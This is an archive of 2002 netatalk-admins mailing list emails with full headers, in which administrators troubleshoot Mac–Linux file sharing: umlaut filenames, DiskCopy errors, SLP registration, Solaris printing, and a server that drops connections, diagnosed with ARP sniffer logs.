> site : http://www.shanghai.fr
> 
> 


From netatalk.administrators-errors@umich.edu  Tue Feb 12 05:31:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA08035
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 05:31:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA19362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 05:31:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA19355
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 05:31:57 -0500 (EST)
Received: from mail.riodata.de (firewall.riodata.de [62.16.139.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA19343
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 05:31:56 -0500 (EST)
Received: from [192.168.1.100] (62.16.206.118) by mail.riodata.de (5.5.031)
        id 3C4CBEF100030C81 for netatalk-admins@umich.edu; Tue, 12 Feb 2002 11:35:24 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 12 Feb 2002 11:31:27 +0100
Subject: umlaut
From: Michael Paffrath <paffrath@fatmedia.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B88EAD8E.256A%paffrath@fatmedia.de>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA08035

hello!

i got some serious problems with german umlauts.
i got a server running netatalk and samba. when i create a folder or file
containing an umlaut on samba i can“t open,edit or delete the folder/file on
my netatalk share. no problems on my linux box or the pc“s (samba) but on
the mac ...

does anyone of you have an idea or experience with this?

regards,

Michael Paffrath
fatmedia - agentur für interaktive medien
Schillerstraße 6

50968 Köln

Tel. 0221 - 660 36 63
Fax. 0221 - 276 03 98
http://www.fatmedia.de


From netatalk.administrators-errors@umich.edu  Tue Feb 12 06:47:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA10828
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 06:47:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA14856
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 06:47:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA14852
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 06:47:04 -0500 (EST)
Received: from mail.riodata.de (firewall.riodata.de [62.16.139.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA14837
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 06:47:03 -0500 (EST)
Received: from [192.168.1.100] (62.16.206.118) by mail.riodata.de (5.5.031)
        id 3C4CBD0F0007714A for netatalk-admins@umich.edu; Tue, 12 Feb 2002 12:43:05 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 12 Feb 2002 12:46:35 +0100
Subject: [OT] telefon
From: Michael Paffrath <paffrath@fatmedia.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B88EBB09.2577%paffrath@fatmedia.de>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA10828

hallo!

habe gerade mit jemandem aus münchen telefoniert (danke nochmal für die
reaktion), habe (weil ich kurz angebunden war) aber weder nach dem namen
noch der email adresse oder sonstigem gefragt.

wer sich angesprochen fühlt, möchte mir doch bitte kurz eine email zukommen
lassen.

gruss,

Michael Paffrath
fatmedia - agentur für interaktive medien
Schillerstraße 6

50968 Köln

Tel. 0221 - 660 36 63
Fax. 0221 - 276 03 98
http://www.fatmedia.de


From netatalk.administrators-errors@umich.edu  Tue Feb 12 09:09:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA16766
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 09:09:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA20541
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 09:09:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA20526
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 09:09:38 -0500 (EST)
Received: from mail.talknet.de (smtp01.talknet.de [195.252.142.71])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA20462
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 09:09:36 -0500 (EST)
Received: from [192.168.1.5] (a1as14-p135.mch.tli.de [195.252.167.135])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g1CE9Tf22166
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 15:09:29 +0100 (MET)
X-Delivered-To: <<netatalk-admins@umich.edu>>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100300b88ed0bfde19@[192.168.1.5]>
Date: Tue, 12 Feb 2002 15:05:06 +0100
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: Creating images
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA16766

Hello friends,

has anybody experienced such a problem:

I wanted to create several diskimages using either "ShrinkWrap" (3.0) 
or "DiskCopy" (4.2 as well as 6.3.3). This workes fine on the local 
macintosh hard disk, and works well on a linux volume - but the 
lather only, if its quite small volumes.

When I try to create an image with around 300 MB of size, DiskCopy 
and ShrinkWrap say "the disk is full" - allthough there is plenty of 
empty space (930 MB). The number of free blocks is sufficient, too. 
Creating the image on the local volume and then copying to the linux 
works fine - but takes quite extra time and effort.

Does creating a diskimage take enormous space to create gigantic temp 
invisibles on the target volume - or is there any trick to make 
diskimaging more easy? - I'm using OS 8.6.

Thanks a lot and Greetings

WD
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Tue Feb 12 10:43:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA22547
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 10:43:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA12965
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 10:43:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA12948
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 10:43:16 -0500 (EST)
Received: from mail.riodata.de (firewall.riodata.de [62.16.139.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA12917
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 10:43:14 -0500 (EST)
Received: from [192.168.1.100] (62.16.206.118) by mail.riodata.de (5.5.031)
        id 3C4CBD0F00077DBF for netatalk-admins@umich.edu; Tue, 12 Feb 2002 16:39:16 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 12 Feb 2002 16:42:45 +0100
Subject: umlaute
From: Michael Paffrath <paffrath@fatmedia.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B88EF684.2592%paffrath@fatmedia.de>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA22547

hallo zusammen,

das problem mit den umlauten wurde folgendermassen gelöst:

dieter siegmund hat mir ein rpm von der 1.5er netatalk version zugeschickt
und in der AppleVolumes.default wurden folgende änderungen vorgenommen:
statt
/music        "music"
mswindows,codepage:maccode.iso8859-1,allow:spud,@fatmedia
heisst es jetzt:
/music  "music" allow:spud,@fatmedia rwlist:spud,@fatmedia
mswindows,codepage:maccode.iso8859-1

und auf einmal fluppt alles wunderbar!!!

das rpm kann ich auch zur verfügung stellen ...

vielen dank nochmal an dieter!

gruss,

Michael Paffrath
fatmedia - agentur für interaktive medien
Schillerstraße 6

50968 Köln

Tel. 0221 - 660 36 63
Fax. 0221 - 276 03 98
http://www.fatmedia.de


From netatalk.administrators-errors@umich.edu  Tue Feb 12 12:21:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA28683
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 12:21:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA24615
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 12:21:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA24604
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 12:21:09 -0500 (EST)
Received: from web13709.mail.yahoo.com (web13709.mail.yahoo.com [216.136.175.251])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA24573
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 12:21:07 -0500 (EST)
Message-ID: <20020212172106.25887.qmail@web13709.mail.yahoo.com>
Received: from [4.60.14.65] by web13709.mail.yahoo.com via HTTP; Tue, 12 Feb 2002 09:21:06 PST
Date: Tue, 12 Feb 2002 09:21:06 -0800 (PST)
From: J Robinson <jrobinson852@yahoo.com>
Subject: changing file sizes/dates on mac?
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hello Kind Netatalk-Admins:

I'm seeing a weird problem I haven't really found
described anywhere. Apologies if this is some kind of
FAQ. Also I tried to post this a little while ago so
sorry if this got reposted.

(MacOS 9.2.2 <-> Linux 2.4.7 & netatalk 1.5.1.1)

The problem I'm seeing is that certain files in
certain directories (which of course have hundreds of
files in them) report inconsistent dates and/or sizes
when viewed from the mac.  

In particular, when viewed in the finder ordered by
size or modified time, some files cycle between
reporting two different sets of data, and the list of
files continually resorts as a result. If I catch one
of the jumping files and do a 'file info' on it, then
the file info (consistent with the list of files)
shows a continually changing modification time and/or
size
which alternate between two values about every .8
seconds. If the same file is moved to another folder
on the same netatalk share, then its date/size settle
to stable values.

Of course this problem does not show up when the same
files are viewed on the linux box directly. 

Any tips?  The .AppleDouble directories are writable
by the user viewing the files on the mac.

Thanks in advance for any tips/advice, and I can
provide more details if needed.
jrobinson



__________________________________________________
Do You Yahoo!?
Send FREE Valentine eCards with Yahoo! Greetings!
http://greetings.yahoo.com

From netatalk.administrators-errors@umich.edu  Tue Feb 12 13:29:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA02576
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 13:29:24 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA12698
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 13:29:24 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA12684
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 13:29:23 -0500 (EST)
Received: from mout04.kundenserver.de (mout04.kundenserver.de [195.20.224.89])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA12663
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 13:29:22 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout04.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16ahg9-0000OB-00
	for netatalk-admins@umich.edu; Tue, 12 Feb 2002 19:29:21 +0100
Received: from [212.184.146.199] (helo=[212.184.146.199])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16ahg8-0000R0-00
	for netatalk-admins@umich.edu; Tue, 12 Feb 2002 19:29:20 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Tue, 12 Feb 2002 19:29:36 +0100
Subject: TCP only server -- SLP registration fails
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B88F1C36.3029A%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi everybody, 

I'm running FreeSLP 1.0.7, default config files. The first log
below is captured with ATALKD running, Network Browser (AppleTalk enabled
at client) works like expected: server shows up both under
"AppleTalk" and "Local Services".

*** (Apple Talk active at the Linux box) ***
Feb 11 03:01:47 bob kernel: NET4: AppleTalk 0.18a for Linux NET4.0
Feb 11 03:01:47 bob atalkd[464]: restart (1.5.1.1)
Feb 11 03:01:49 bob kernel: eth1: no IPv6 routers present
Feb 11 03:01:49 bob kernel: eth0: no IPv6 routers present
Feb 11 03:01:49 bob atalkd[464]: zip_getnetinfo for eth0
Feb 11 03:02:07 bob last message repeated 2 times
Feb 11 03:02:17 bob atalkd[464]: config for no router
Feb 11 03:02:18 bob atalkd[464]: ready 0/0/0
Feb 11 03:02:37 bob afpd[571]: bob:AFPServer@* started on 65280.33:128
(1.5.1.1)
Feb 11 03:02:37 bob afpd[571]: ASIP started on 192.168.33.110:548(2)
(1.5.1.1)
Feb 11 03:02:37 bob afpd[571]: Sucessfully registered
afp://192.168.33.110/?NAME=bob with SRVLOC
Feb 11 03:02:37 bob afpd[571]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
Feb 11 03:02:37 bob afpd[571]: uam: uams_dhx.so loaded
Feb 11 03:02:37 bob afpd[571]: uam: "DHCAST128" available
***

Now, ATALKD disabled at the server, -noddp statement given in afpd.conf,
I get the errors below -- and naturally Network Browser shows nothing
at all. But -- I'm still able to logon to the server by "Connect to
server" giving its IP address or its DNS name:

*** (Apple Talk deactivated at the Linux box) ***
Feb 11 02:48:55 bob afpd[452]: main: atp_open: Cannot assign requested
address
Feb 11 02:48:55 bob afpd[452]: ASIP started on 192.168.33.110:548(1)
(1.5.1.1)
Feb 11 02:48:55 bob kernel: NET4: AppleTalk 0.18a for Linux NET4.0
Feb 11 02:48:55 bob afpd[452]: DSIConfigInit: Error registering
afp://192.168.33.110/?NAME=bob with SRVLOC
Feb 11 02:48:55 bob afpd[452]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
Feb 11 02:48:55 bob afpd[452]: uam: uams_dhx.so loaded
Feb 11 02:48:55 bob afpd[452]: uam: "DHCAST128" available
***

btw, running AppleTalk at the server only -- disabling AppleTalk just
client side -- Network Browser shows the server at Local Services only ...
again, expected behavior.

Simply, I don't understand the "main: atp_open: Cannot assign requested
address" message, what might be happening here? Especially, when AppleTalk
over IP works for me in every other regard?

I hope somebody is able to get me back onto tracks ...
TIA -- Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Feb 12 13:51:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA03753
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 13:51:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA20901
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 13:51:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA20870
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 13:51:12 -0500 (EST)
Received: from galaxy.tbird.com (galaxy.tbird.com [199.72.122.9])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA20818
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 13:51:10 -0500 (EST)
Received: from eagle.tbird.com (eagle.tbird.com [199.72.122.7])
	by galaxy.tbird.com (8.9.2/8.9.2) with SMTP id NAA06271
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 13:51:01 -0500 (EST)
Message-Id: <200202121851.NAA06271@galaxy.tbird.com>
Date: Tue, 12 Feb 2002 13:51:02 -0500 (EST)
From: rnf <rnf@tbird.com>
Reply-To: rnf <rnf@tbird.com>
Subject: Multiple Printers on NetAtalk and Solaris
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: jKO3iXA8IN4UovRGl2UmbQ==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4m sparc 

Hi Admins,

I'm trying to install multiple AppleTalk printers on NetAtalk in a Solaris 8 
system without any luck.

I'm using netatalk-1.4b2+asun2.1.4.  I found in the man pages that you can't 
have multiple printers pointing to /dev/null.  It says that you must create 
additional null devices with mknod.

Any idea how to do this?

Also, I have both 32 bit an 64 bit versions of Solaris running netatalk.  I got 
the 64 bit kernel drivers and it works OK for serving AFP volumes but I haven't 
been able to get AppleTalk printers working with the 64 bit systems.

Any clues about this or printer installation under Solaris in general?


Thanks!

Rick


From netatalk.administrators-errors@umich.edu  Tue Feb 12 15:07:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA08337
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 15:07:05 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA01133
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 15:07:05 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA01121
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 15:07:03 -0500 (EST)
Received: from stingray.shentel.net (stingray.shentel.net [204.111.2.39])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA01027
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 15:07:02 -0500 (EST)
Received: from [10.40.9.253] (firewall.harrisonburg.k12.va.us [204.111.42.226])
	by stingray.shentel.net (8.11.3/8.11.3) with ESMTP id g1CK6nW26013;
	Tue, 12 Feb 2002 15:06:53 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.3
Date: Tue, 12 Feb 2002 15:06:49 -0500
Subject: Re: Creating images
From: Rob Lineweaver <rbline@wm.edu>
To: Wolf Drechsel <drechsel@verkehrsplanung.com>, <netatalk-admins@umich.edu>
Message-ID: <B88EE009.3FC7%rbline@wm.edu>
In-Reply-To: <f05100300b88ed0bfde19@[192.168.1.5]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


> When I try to create an image with around 300 MB of size, DiskCopy
> and ShrinkWrap say "the disk is full" - allthough there is plenty of
> empty space (930 MB). The number of free blocks is sufficient, too.
> Creating the image on the local volume and then copying to the linux
> works fine - but takes quite extra time and effort.
> 

This is a known and admitted problem with Apple's DiskCopy.  This is not a
Netatalk problem; it behaves exactly the same way on an AppleShare IP
server.  DiskCopy is sorely in need of an update so keep your eyes peeled
for a fix to this issue.

Rob Lineweaver
:)


From netatalk.administrators-errors@umich.edu  Tue Feb 12 17:32:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA16306
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 17:32:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA12231
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 17:32:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA12209
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 17:32:14 -0500 (EST)
Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA12150
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 17:32:12 -0500 (EST)
Received: from fwd07.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 16alT9-00040E-0D; Tue, 12 Feb 2002 23:32:11 +0100
Received: from starbase.netz-leistung.de (520057542055-0001@[217.230.207.32]) by fmrl07.sul.t-online.com
	with esmtp id 16alT3-1FGBxwC; Tue, 12 Feb 2002 23:32:05 +0100
Received: from vulcan (vulcan.netz-leistung.de [192.168.1.11])
	by starbase.netz-leistung.de (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with SMTP id g1CMW1m32301
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 23:32:02 +0100
From: "Markus Koch" <sysadmin@netz-leistung.de>
To: "Netatalk-Admins" <netatalk-admins@umich.edu>
Subject: network connections are suddenly dropped ? 
Date: Tue, 12 Feb 2002 23:32:01 +0100
Message-ID: <ELEEKGAGFFNGOEHDIHKDKEDJCAAA.sysadmin@netz-leistung.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
X-Virus-Scanned: by amavisd-milter (http://amavis.org/
X-Sender: 520057542055-0001@t-dialin.net

Hi

One of my servers (PII400/440BX/Intel EtherexpressPro or Realtek and SCSI on
board / 2.4.16) suddenly drops all connections to it (appletalk and samba).
The server is not even reachable by pings. During the workday, this persists
for 1 to 5 min and then everything is fine again. At night or on weekends if
nobody is around, this issue could persist for a whole day.
I sniffed all broadcast and server specific traffic from a second linux
computer within the same network (logs
are attached). It looks to me as if the server suddenly forgets all arp
entries and sends out arp requests. The weird thing is, that he does not
seem to recognize the arp answers but keeps on asking. Is there anybbody
with an isea? I tried almost everything: new NIC, new kernel, new netatalk,
etc. All other servers with similar harware and linux systems but without
appletalk are fine.

thanks

markus

sniffed from 192.168.1.1
(server in question is 192.168.1.2  192.168.1.104 is a win95 that is active
but does not answer)

159447 16:58:38.2394 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
192.168.1.120?  Tell 192.168.1.2
159448 16:58:38.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159450 16:58:39.2395 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
192.168.1.120?  Tell 192.168.1.2
159451 16:58:39.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159452 16:58:40.2396 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
192.168.1.120?  Tell 192.168.1.2
159453 16:58:40.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159454 16:58:41.2396 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159455 16:58:41.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159457 16:58:42.2397 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159458 16:58:42.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159459 16:58:43.2398 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159460 16:58:43.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159461 16:58:43.7198 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159462 16:58:43.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159463 16:58:44.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159464 16:58:44.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159466 16:58:45.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159467 16:58:45.7210 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159468 16:58:45.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159469 16:58:46.0084 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c
159471 16:58:46.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159472 16:58:46.9902 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c
1159475 16:58:47.9901 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159476 16:58:47.9903 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c159574
(snipped)
159579 17:01:03.2613 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159580 17:01:03.2614 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159581 17:01:03.7204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159582 17:01:04.2592 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159583 17:01:04.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159584 17:01:05.2593 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159585 17:01:05.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159586 17:01:06.8494 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159587 17:01:06.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159588 17:01:07.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159589 17:01:07.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159590 17:01:08.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159591 17:01:08.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
